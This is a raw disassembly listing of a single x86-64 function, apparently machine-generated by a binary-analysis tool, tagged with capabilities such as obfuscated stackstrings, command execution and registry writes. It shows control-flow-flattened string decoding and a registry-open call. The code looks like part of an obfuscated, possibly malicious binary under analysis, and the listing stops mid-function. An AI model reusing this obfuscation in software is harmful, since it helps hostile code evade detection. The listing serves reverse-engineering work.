Function at 0x1400d73d0
Capabilities:
Contain obfuscated stackstrings
Execute command
Parse pe header
Query or enumerate registry value
Set registry value

Disassembly:
push rbp
push rbx
push rdi
push r14
lea rbp, [rsp - 0x228]
sub rsp, 0x328
xor eax, eax
mov dword [rbp + 0x250], 4
movzx r10d, byte [rbp + 0x250]
xor r14d, r14d
mov qword [rbp + 0x7a], rax
mov dword [rbp + 0x82], eax
mov dword [rbp + 0x20], 0x1f19121b
mov dword [rbp + 0x24], 0xd214e2e9
mov dword [rbp + 0x28], 0x30020305
mov dword [rbp + 0x2c], 0x36d50538
mov dword [rbp + 0x30], 0x320a0934
mov dword [rbp + 0x34], 0x133b2c36
mov dword [rbp + 0x38], 0x3fd3edee
mov dword [rbp + 0x3c], 0x1b2a28c7
mov dword [rbp + 0x40], 0x37202418
mov dword [rbp + 0x44], 0x581a2ace
mov dword [rbp + 0x48], 0x60b55653
mov dword [rbp + 0x4c], 0x43546755
mov dword [rbp + 0x50], 0x515f584b
mov dword [rbp + 0x54], 0x4e576f5d
mov dword [rbp + 0x58], 0x7ca45973
mov dword [rbp + 0x5c], 0x7d76424a
mov dword [rbp + 0x60], 0x7d457841
mov dword [rbp + 0x64], 0x7e4a43a9
mov dword [rbp + 0x68], 0x77777040
mov dword [rbp + 0x6c], 0x7c747897
mov dword [rbp + 0x70], 0x78487791
mov dword [rbp + 0x74], 0x53774f7b
mov word [rbp + 0x78], 0xdd59
nop word [rax + rax]
mov rax, qword [0x1402ea380]
mov r9, qword [0x1402ea378]
nop
mov rdi, r14
cmp rdi, 0x66
jae 0x1400d808b
movzx r11d, byte [rbp + rdi + 0x20]
movzx ebx, dil
cmp rax, rdi
ja 0x1400d8082
lea rcx, [r9 + 1]
cmp rax, rcx
jae 0x1400d7502
lea r10d, [rbx + 0x19]
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
add r10b, 0x51
add r10b, r11b
jmp 0x1400d7550
je 0x1400d801b
inc rcx
cmp rax, rcx
je 0x1400d7f9f
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1400d7f71
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x1400d7f3d
lea rcx, [r9 + 7]
cmp rax, rcx
je 0x1400d7f1d
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x1400d7ee3
nop dword [rax + rax]
cmp r9, rdi
ja 0x1400d8079
lea rcx, [r9 + 0x200]
cmp rax, rcx
jae 0x1400d757e
lea r10d, [rbx + 0xd]
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x5b
add r10b, r11b
jmp 0x1400d75c0
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x1400d7ecc
inc rcx
cmp rax, rcx
je 0x1400d7eac
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1400d7e92
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x1400d7e78
lea rcx, [r9 + 6]
cmp rax, rcx
je 0x1400d7e50
nop
lea rcx, [r9 + rax]
cmp rcx, rdi
jbe 0x1400d7b3b
nop dword [rax]
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x1400d7b21
lea rcx, [r9 + 0x40]
cmp rax, rcx
je 0x1400d7af9
lea rcx, [r9 + 0x80]
cmp rax, rcx
je 0x1400d7ad4
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1400d7ab4
lea rcx, [r9 + 6]
cmp rax, rcx
je 0x1400d7a92
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
je 0x1400d7a77
lea rcx, [r9 + 0x61]
cmp rax, rcx
je 0x1400d7a57
lea rcx, [r9 + 9]
cmp rax, rcx
je 0x1400d7a38
lea rcx, [r9 + 0x20]
cmp rax, rcx
je 0x1400d7a0f
lea rcx, [r9 + 0x41]
cmp rax, rcx
je 0x1400d75d0
lea rax, [r9 + 0x1000]
lea r9, [rax + 1]
lea rcx, [r9 + 8]
cmp rax, rcx
jb 0x1400d805e
lea rcx, [r9 + 0x10]
cmp rax, rcx
jb 0x1400d8043
lea rcx, [r9 + 0x7a]
cmp rax, rcx
jb 0x1400d77c2
lea rcx, [r9 + 0x2a]
cmp rax, rcx
jb 0x1400d77a6
lea rcx, [r9 + 3]
cmp rax, rcx
jb 0x1400d778a
lea rcx, [r9 + 0x64]
cmp rax, rcx
jb 0x1400d79bc
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
jb 0x1400d7970
lea rcx, [r9 + 5]
cmp rax, rcx
jb 0x1400d792c
lea rcx, [r9 + 9]
cmp rax, rcx
jb 0x1400d7909
lea rcx, [r9 + 0x1000]
cmp rax, rcx
jb 0x1400d75d0
lea rax, [r9 + 0x200]
lea r9, [rax + 0x41]
lea rcx, [r9 + 4]
cmp rax, rcx
ja 0x1400d78dc
lea rcx, [r9 + 8]
cmp rax, rcx
ja 0x1400d78be
lea rcx, [r9 + 0x400]
cmp rax, rcx
ja 0x1400d789d
lea rcx, [r9 + 0x7a]
cmp rax, rcx
ja 0x1400d7882
lea rcx, [r9 + 0xa]
cmp rax, rcx
ja 0x1400d7864
lea rcx, [r9 + 0x28]
cmp rax, rcx
ja 0x1400d7843
lea rcx, [r9 + 0x5a]
cmp rax, rcx
ja 0x1400d7822
lea rcx, [r9 + 2]
cmp rax, rcx
ja 0x1400d77fe
lea rcx, [r9 + 0x42]
cmp rax, rcx
ja 0x1400d77de
lea rcx, [r9 + 0x200]
cmp rax, rcx
ja 0x1400d75d0
lea rax, [r9 + 0x41]
lea r9, [rax + 0x1000]
jmp 0x1400d75d0
lea r10d, [rbx - 0x6d]
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
sub r10b, 5
add r10b, r11b
jmp 0x1400d75c0
lea r10d, [rbx + 0x61]
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
add r10b, 0x59
add r10b, r11b
jmp 0x1400d7550
lea r10d, [rbx + 0x2f]
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x49
add r10b, r11b
jmp 0x1400d74d7
lea edx, [rbx + 0x68]
movzx ecx, r11b
and cl, dl
mov r10d, reloc.WS2_32.dll_sendto
sub r10b, cl
add r10b, r10b
add r10b, r11b
add r10b, dl
jmp 0x1400d7ef8
add bl, 0x36
movzx ecx, r11b
and cl, bl
inc r9
add cl, cl
dec rdi
sub r11b, cl
lea r10d, [rbx + r11]
sub r10b, 0x7a
inc rdi
jmp 0x1400d74c3
add bl, 4
movzx ecx, r11b
and cl, bl
dec rdi
add cl, cl
sub r11b, cl
lea r10d, [rbx + r11]
sub r10b, 0x1c
inc rdi
jmp 0x1400d74c3
lea r8d, [rbx - 0x2e]
mov edx, reloc.WLDAP32.dll_Ordinal_33
movzx ecx, r11b
and cl, r8b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r11b
add r10b, r8b
jmp 0x1400d7f52
sub bl, 0x60
movzx ecx, r11b
and cl, bl
add cl, cl
sub r11b, cl
lea r10d, [rbx + r11]
sub r10b, 0x60
add rax, r9
jmp 0x1400d7f86
add bl, 0x6e
movzx ecx, r11b
and cl, bl
add cl, cl
sub r11b, cl
lea r10d, [rbx + r11]
sub r10b, 2
jmp 0x1400d7f86
lea r8d, [rbx + 0x3c]
mov edx, reloc.WLDAP32.dll_Ordinal_46
movzx ecx, r11b
and cl, r8b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r11b
add r10b, r8b
jmp 0x1400d7fb4
add bl, 0xa
movzx ecx, r11b
and cl, bl
movzx r10d, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x46
add r10b, bl
jmp 0x1400d7fda
sub bl, 0x28
movzx ecx, r11b
and cl, bl
mov edx, ntohl
sub dl, cl
movzx ecx, byte [rbp + rdi + 0x20]
add rcx, r9
add rdi, rcx
lea r10d, [rdx + rdx]
add r10b, r11b
add r10b, bl
inc rdi
jmp 0x1400d74c3
add bl, 0x5b
movzx ecx, r11b
and cl, bl
add cl, cl
sub r11b, cl
lea r10d, [rbx + r11]
sub r10b, 0x7d
mov byte [rbp + rdi + 0x20], r10b
inc rdi
jmp 0x1400d74c3
lea r8d, [rbx + 0x29]
movzx ecx, r11b
and cl, r8b
movzx r10d, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x1f
add r10b, r8b
cmp r9, 5
jb 0x1400d791f
lea r8d, [rbx - 0xa]
movzx edx, r11b
movzx ecx, r11b
and cl, r8b
add cl, cl
sub dl, cl
add dl, r8b
lea r10d, [rdx*2 - 0x74]
jmp 0x1400d7ef8
lea r8d, [rbx - 9]
movzx ecx, r11b
and cl, r8b
movzx r10d, r11b
add cl, cl
sub r10b, cl
add r10b, 0x3f
add r10b, r8b
cmp rax, 0x5a
jae 0x1400d7e19
lea rdx, [r9 + 5]
cmp rax, rdx
jbe 0x1400d7d3c
lea r8d, [rbx + 2]
movzx ecx, r11b
and cl, r8b
movzx r10d, r11b
add cl, cl
sub r10b, cl
sub r10b, 0xe
jmp 0x1400d7944
lea r8d, [rbx - 0x3b]
movzx ecx, r11b
and cl, r8b
movzx r10d, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x63
add r10b, r8b
lea rcx, [r9 + rax]
cmp rcx, 2
je 0x1400d7e3a
lea rcx, [r9 + 9]
cmp rax, rcx
jbe 0x1400d7c38
lea r8d, [rbx - 0xb]
movzx ecx, r11b
and cl, r8b
movzx r10d, r11b
add cl, cl
sub r10b, cl
add r10b, 0x4d
jmp 0x1400d7988
add bl, 0x4e
movzx ecx, r11b
and cl, bl
add cl, cl
sub r11b, cl
movzx ecx, byte [rbp + rdi + 0x20]
add rcx, r9
add rdi, rcx
lea r10d, [rbx + r11]
sub r10b, 0x22
inc rdi
jmp 0x1400d74c3
add bl, 0x1c
mov edx, reloc.WLDAP32.dll_Ordinal_30
movzx ecx, r11b
and cl, bl
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r11b
add r10b, bl
jmp 0x1400d7fda
lea r8d, [rbx - 0x16]
movzx ecx, r11b
and cl, r8b
movzx r10d, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x66
add r10b, r8b
jmp 0x1400d7fb4
sub bl, 0x48
movzx ecx, r11b
and cl, bl
add cl, cl
sub r11b, cl
lea r10d, [rbx + r11]
sub r10b, 8
jmp 0x1400d7f86
sub bl, 0x7a
mov edx, Ordinal_45
movzx ecx, r11b
and cl, bl
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r11b
add r10b, bl
add rax, r9
jmp 0x1400d7f86
lea r8d, [rbx + 0x54]
movzx ecx, r11b
and cl, r8b
movzx r10d, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x4c
add r10b, r8b
jmp 0x1400d7f52
add bl, 0x22
mov edx, 9
movzx ecx, r11b
dec rdi
and cl, bl
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r11b
add r10b, bl
inc rdi
jmp 0x1400d74c3
sub bl, 0x10
mov edx, Ordinal_60
movzx ecx, bl
inc r9
and cl, r11b
dec rdi
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, bl
add r10b, r11b
inc rdi
jmp 0x1400d74c3
lea edx, [rbx - 0x42]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x32
jmp 0x1400d7ef8
lea rcx, [r9 + 9]
cmp rax, rcx
jae 0x1400d7b5e
lea edx, [rbx + 0x19]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
add r10b, 0x51
jmp 0x1400d79d7
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1400d7b94
add bl, 0x1a
mov edx, Ordinal_41
movzx ecx, bl
and cl, r11b
sub dl, cl
movzx ecx, byte [rbp + rdi + 0x20]
add rcx, r9
add rdi, rcx
lea r10d, [rdx + rdx]
add r10b, bl
add r10b, r11b
inc rdi
jmp 0x1400d74c3
inc rcx
cmp rax, rcx
jne 0x1400d7bb6
add bl, 0x4c
movzx ecx, bl
and cl, r11b
add cl, cl
sub bl, cl
lea r10d, [r11 + rbx]
sub r10b, 0x14
jmp 0x1400d7fda
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x1400d7bdc
sub bl, 0x1e
movzx ecx, bl
and cl, r11b
add cl, cl
sub bl, cl
lea r10d, [r11 + rbx]
sub r10b, 0x2e
add rax, r9
jmp 0x1400d7f86
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1400d7c06
lea r8d, [rbx + 0x14]
mov edx, Ordinal_60
movzx ecx, r8b
and cl, r11b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, r11b
jmp 0x1400d7f52
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x1400d79d7
add bl, 0x46
mov edx, ntohl
movzx ecx, bl
dec rdi
and cl, r11b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, bl
add r10b, r11b
inc rdi
jmp 0x1400d74c3
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1400d7c61
lea r8d, [rbx + 0x27]
movzx ecx, r11b
and cl, r8b
movzx r10d, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x11
add r10b, r8b
jmp 0x1400d7ef8
inc rcx
cmp rax, rcx
jne 0x1400d7c8d
add bl, 0x59
movzx ecx, r11b
and cl, bl
inc r9
add cl, cl
dec rdi
sub r11b, cl
lea r10d, [rbx + r11]
sub r10b, 0x6f
inc rdi
jmp 0x1400d74c3
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x1400d7cb7
sub bl, 0x75
movzx ecx, r11b
and cl, bl
dec rdi
add cl, cl
sub r11b, cl
lea r10d, [rbx + r11]
add r10b, 0x33
inc rdi
jmp 0x1400d74c3
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x1400d7cde
sub bl, 0x11
movzx ecx, r11b
and cl, bl
add cl, cl
sub r11b, cl
lea r10d, [rbx + r11]
add r10b, 0x77
add rax, r9
jmp 0x1400d7f86
lea rcx, [r9 + 7]
cmp rax, rcx
jne 0x1400d7d07
lea r8d, [rbx + 0x53]
movzx ecx, r11b
and cl, r8b
movzx r10d, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x45
add r10b, r8b
jmp 0x1400d7fb4
lea rcx, [r9 + 8]
cmp rax, rcx
jne 0x1400d798b
sub bl, 0x49
movzx ecx, r11b
and cl, bl
add cl, cl
sub r11b, cl
movzx ecx, byte [rbp + rdi + 0x20]
add rcx, r9
add rdi, rcx
lea r10d, [rbx + r11]
dec r10b
inc rdi
jmp 0x1400d74c3
lea r8, [r9 + 1]
cmp rax, r8
jne 0x1400d7d6e
add bl, 0x34
movzx ecx, r11b
and cl, bl
add cl, cl
sub r11b, cl
movzx ecx, byte [rbp + rdi + 0x20]
add rcx, r9
add rdi, rcx
lea r10d, [rbx + r11]
sub r10b, 0x6c
inc rdi
jmp 0x1400d74c3
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1400d7d97
lea r8d, [rbx - 0x68]
movzx ecx, r11b
and cl, r8b
movzx r10d, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x28
add r10b, r8b
jmp 0x1400d7fb4
cmp rax, rdx
jne 0x1400d7dbe
sub bl, 4
mov edx, reloc.WS2_32.dll_ntohl
movzx ecx, r11b
and cl, bl
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r11b
add r10b, bl
add rax, r9
jmp 0x1400d7f86
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x1400d7dec
add bl, 0x60
mov edx, Ordinal_50
movzx ecx, r11b
dec rdi
and cl, bl
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r11b
add r10b, bl
inc rdi
jmp 0x1400d74c3
lea rcx, [r8 + 1]
cmp rax, rcx
jne 0x1400d7947
lea r8d, [rbx - 0x3c]
movzx ecx, r11b
and cl, r8b
movzx r10d, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x5c
add r10b, r8b
jmp 0x1400d7ef8
lea r8d, [rbx + 0x28]
movzx edx, r11b
movzx ecx, r11b
and cl, r8b
sub dl, cl
lea r10d, [rdx*2 - 0x18]
add r10b, r8b
jmp 0x1400d7f52
lea edx, [rbx + 0x5a]
movzx ecx, r11b
and cl, dl
add cl, cl
sub dl, cl
lea r10d, [rdx - 0x76]
jmp 0x1400d7fb4
sub bl, 0x31
movzx ecx, bl
and cl, r11b
add cl, cl
sub bl, cl
movzx ecx, byte [rbp + rdi + 0x20]
add rcx, r9
add rdi, rcx
lea r10d, [r11 + rbx]
add r10b, 0x57
inc rdi
jmp 0x1400d74c3
add bl, 0x39
movzx ecx, bl
and cl, r11b
add cl, cl
sub bl, cl
lea r10d, [r11 + rbx]
add r10b, 0x71
jmp 0x1400d7f86
lea edx, [rbx - 0x2b]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
add r10b, 0x2d
jmp 0x1400d7f52
sub bl, 0x5d
dec rdi
movzx ecx, bl
and cl, r11b
add cl, cl
sub bl, cl
lea r10d, [r11 + rbx]
sub r10b, 0x75
inc rdi
jmp 0x1400d74c3
lea edx, [rbx + 0x3f]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
add r10b, 0x47
jmp 0x1400d7ef8
lea edx, [rbx - 0x25]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
add r10b, 3
add bl, 0xf
movzx ecx, bl
and cl, r11b
add cl, cl
sub bl, cl
sub bl, 0x69
add bl, r11b
mov byte [rbp + rdi + 0x20], bl
inc r9
dec rdi
inc rdi
jmp 0x1400d74c3
add bl, 0x77
movzx ecx, bl
and cl, r11b
add cl, cl
sub bl, cl
lea r10d, [r11 + rbx]
sub r10b, 0x41
dec rdi
inc rdi
jmp 0x1400d74c3
lea edx, [rbx + 0x45]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
add r10b, 0x1d
add bl, 0x41
movzx ecx, bl
and cl, r11b
add cl, cl
sub bl, cl
add bl, 0x39
add bl, r11b
add bl, r10b
mov byte [rbp + rdi + 0x20], bl
add rax, r9
jmp 0x1400d7f86
sub bl, 0x1f
movzx ecx, bl
and cl, r11b
add cl, cl
sub bl, cl
lea r10d, [r11 + rbx]
sub r10b, 0x27
movzx ecx, r10b
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add rdi, rdx
inc rdi
jmp 0x1400d74c3
lea edx, [rbx - 0x51]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
add r10b, 0x37
add bl, 0x73
movzx ecx, r11b
and cl, bl
inc r9
add cl, cl
movzx edx, r11b
sub dl, cl
sub dl, 0x25
add dl, bl
movzx ecx, dl
mov byte [rbp + rdi + 0x20], cl
add rcx, r9
sub rdi, rcx
lea r8d, [rdi - 0x74]
inc rax
movzx ecx, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_22
and cl, r11b
sub dl, cl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add dl, dl
add dl, r8b
add dl, r11b
mov byte [rbp + rdi + 0x20], dl
add rdi, rcx
movzx ecx, byte [rbp + rdi + 0x20]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x1400d74c3
add bl, 0x4b
movzx ecx, bl
and cl, r11b
add cl, cl
sub bl, cl
lea r10d, [r11 + rbx]
sub r10b, 0xd
movzx ecx, byte [rbp + rdi + 0x20]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x1400d74c3
sub bl, 3
movzx ecx, r11b
and cl, bl
add cl, cl
sub r11b, cl
lea r10d, [rbx + r11]
add r10b, 0x15
jmp 0x1400d74c0
sub bl, 0x35
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
add r10b, 0x73
jmp 0x1400d74b0
lea rdx, [rbp + 0x1409cec]
jmp 0x1400d808f
lea rdx, [rbp + 0x10c8605]
jmp 0x1400d808f
lea rdx, [rbp + 0x20]
lea rax, [rbp + 0x260]
mov r9d, 3
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400dac9d
movzx r10d, byte [rbp + 0x250]
xor eax, eax
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x50], eax
mov word [rsp + 0x54], ax
mov byte [rsp + 0x56], al
mov dword [rsp + 0x40], 0xd0b07ed
mov dword [rsp + 0x44], 0x8f0c0a06
nop word [rax + rax]
mov r8, qword [0x1402ea380]
mov r9, qword [0x1402ea378]
nop
mov rdi, r14
cmp rdi, 0x17
jae 0x1400d89af
movzx ebx, byte [rsp + rdi + 0x40]
movzx r11d, dil
cmp r8, rdi
ja 0x1400d89a6
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d8140
lea r10d, [r11 - 0x67]
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x2f
add r10b, bl
jmp 0x1400d8160
je 0x1400d893b
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d88c3
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d8885
cmp r9, rdi
ja 0x1400d899d
lea rax, [r9 + 0x200]
cmp r8, rax
jae 0x1400d818d
lea r10d, [r11 - 0x73]
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
add r10b, 0x25
add r10b, bl
jmp 0x1400d81c0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d886e
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d884c
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d8822
nop dword [rax]
nop dword [rax + rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x1400d84be
nop dword [rax]
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400d84a4
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400d847b
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d8455
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400d843b
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d841b
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400d83ff
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400d83e5
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400d83c5
mov r8, rax
lea r9, [rax + 0xa]
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400d8981
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400d8965
lea rcx, [r9 + 0xa]
cmp r8, rcx
jb 0x1400d830a
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400d82ef
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400d82d4
lea r9, [rcx + 0x5a]
mov r8, rcx
lea rax, [r9 + 0x42]
cmp rcx, rax
ja 0x1400d8397
lea rax, [r9 + 0x400]
cmp rcx, rax
ja 0x1400d837b
lea rcx, [r9 + 0x5a]
cmp r8, rcx
ja 0x1400d835b
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400d8340
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400d8325
mov r8, rcx
lea r9, [rcx + 5]
jmp 0x1400d81d0
lea r10d, [r11 + 0x13]
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
add r10b, 0x7b
add r10b, bl
jmp 0x1400d81c0
lea r10d, [r11 - 0x1f]
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x27
add r10b, bl
jmp 0x1400d8160
lea r10d, [r11 - 0x51]
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
add r10b, 0x37
add r10b, bl
jmp 0x1400d8116
lea r10d, [r11 - 0x60]
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x60
add r10b, bl
jmp 0x1400d87f0
lea r10d, [r11 + 0x6e]
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 2
add r10b, bl
jmp 0x1400d87f3
lea ecx, [r11 + 0x3c]
mov r10d, reloc.WLDAP32.dll_Ordinal_46
movzx eax, cl
and al, bl
sub r10b, al
add r10b, r10b
add r10b, cl
add r10b, bl
jmp 0x1400d88d8
add r11b, 0xa
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x46
jmp 0x1400d88ff
sub r11b, 0x28
mov ecx, ntohl
movzx eax, r11b
and al, bl
sub cl, al
movzx eax, byte [rsp + rdi + 0x40]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
inc rdi
jmp 0x1400d8103
add r11b, 0x1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
movzx eax, r11b
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
jmp 0x1400d88ff
lea ecx, [r11 - 0x16]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x66
jmp 0x1400d88d8
sub r11b, 0x48
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 8
jmp 0x1400d87f3
sub r11b, 0x7a
mov ecx, Ordinal_45
movzx eax, r11b
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
jmp 0x1400d87f0
lea ecx, [r11 + 0x54]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x4c
jmp 0x1400d87d2
add r11b, 0x22
mov ecx, 9
movzx eax, r11b
dec rdi
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
inc rdi
jmp 0x1400d8103
sub r11b, 0x10
mov ecx, Ordinal_60
movzx eax, r11b
inc r9
and al, bl
dec rdi
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
inc rdi
jmp 0x1400d8103
lea ecx, [r11 - 0x42]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x32
jmp 0x1400d889a
lea rax, [r9 + 0x200]
cmp r8, rax
jae 0x1400d8567
lea ecx, [r11 - 0x67]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x2f
lea rax, [r8 + r9]
cmp rax, 0x3e8
je 0x1400d880c
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x1400d861c
lea ecx, [r11 + 0x75]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x33
cmp r8, 9
jae 0x1400d87b9
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x1400d86fe
lea ecx, [r11 + 2]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0xe
cmp r9, 0x41
jb 0x1400d87ac
lea ecx, [r11 - 0xa]
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r10d, [rcx*2 - 0x74]
jmp 0x1400d889a
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400d859e
add r11b, 0x1a
mov ecx, Ordinal_41
movzx eax, r11b
and al, bl
sub cl, al
movzx eax, byte [rsp + rdi + 0x40]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
inc rdi
jmp 0x1400d8103
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d85c1
lea ecx, [r11 + 0x7e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x72
jmp 0x1400d88d8
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400d85f0
add r11b, 0x46
mov ecx, ntohl
movzx eax, r11b
dec rdi
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
inc rdi
jmp 0x1400d8103
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400d84e3
lea edx, [r11 - 0x56]
mov ecx, reloc.WLDAP32.dll_Ordinal_45
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d889a
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400d863f
lea ecx, [r11 - 0x59]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x6f
jmp 0x1400d889a
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d866a
add r11b, 0xb
dec rdi
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x4d
inc rdi
jmp 0x1400d8103
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d868d
lea ecx, [r11 + 0x3d]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x55
jmp 0x1400d87d2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d86b2
add r11b, 0x6f
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 9
jmp 0x1400d87f0
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400d86d5
lea ecx, [r11 - 0x2d]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x3b
jmp 0x1400d88d8
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400d8515
add r11b, 5
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x23
jmp 0x1400d88ff
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d8731
add r11b, 0x34
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
